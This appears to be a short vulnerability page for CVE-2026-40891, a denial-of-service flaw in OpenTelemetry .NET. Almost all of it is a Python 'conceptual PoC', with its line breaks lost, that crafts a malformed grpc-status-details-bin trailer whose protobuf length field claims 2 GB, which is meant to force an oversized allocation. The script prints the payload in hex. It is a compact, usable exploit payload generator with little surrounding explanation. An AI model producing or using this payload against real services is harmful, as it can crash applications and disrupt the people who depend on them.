CVE-2026-40891 OpenTelemetry dotnet 拒绝服务漏洞

# Conceptual PoC for generating malicious gRPC trailer import struct # Simulate crafting a malformed protobuf message for grpc-status-details-bin # The vulnerability is the 'length' field being extremely large. # Protobuf format: [Field Number << 3 | Wire Type] [Length] [Data] field_number = 1 wire_type = 2 # Length-delimited tag = (field_number << 3) | wire_type # Malicious length: e.g., 2GB (0x80000000) malicious_length = 0x80000000 # Encode tag and length as varint (simplified) def encode_varint(n): data = b'' while n > 0x7F: data += bytes([(n & 0x7F) | 0x80]) n >>= 7 data += bytes([n]) return data trailer_payload = encode_varint(tag) + encode_varint(malicious_length) # The actual data would be missing or truncated, causing allocation attempt. print(f"Malicious Trailer Payload (Hex): {trailer_payload.hex()}")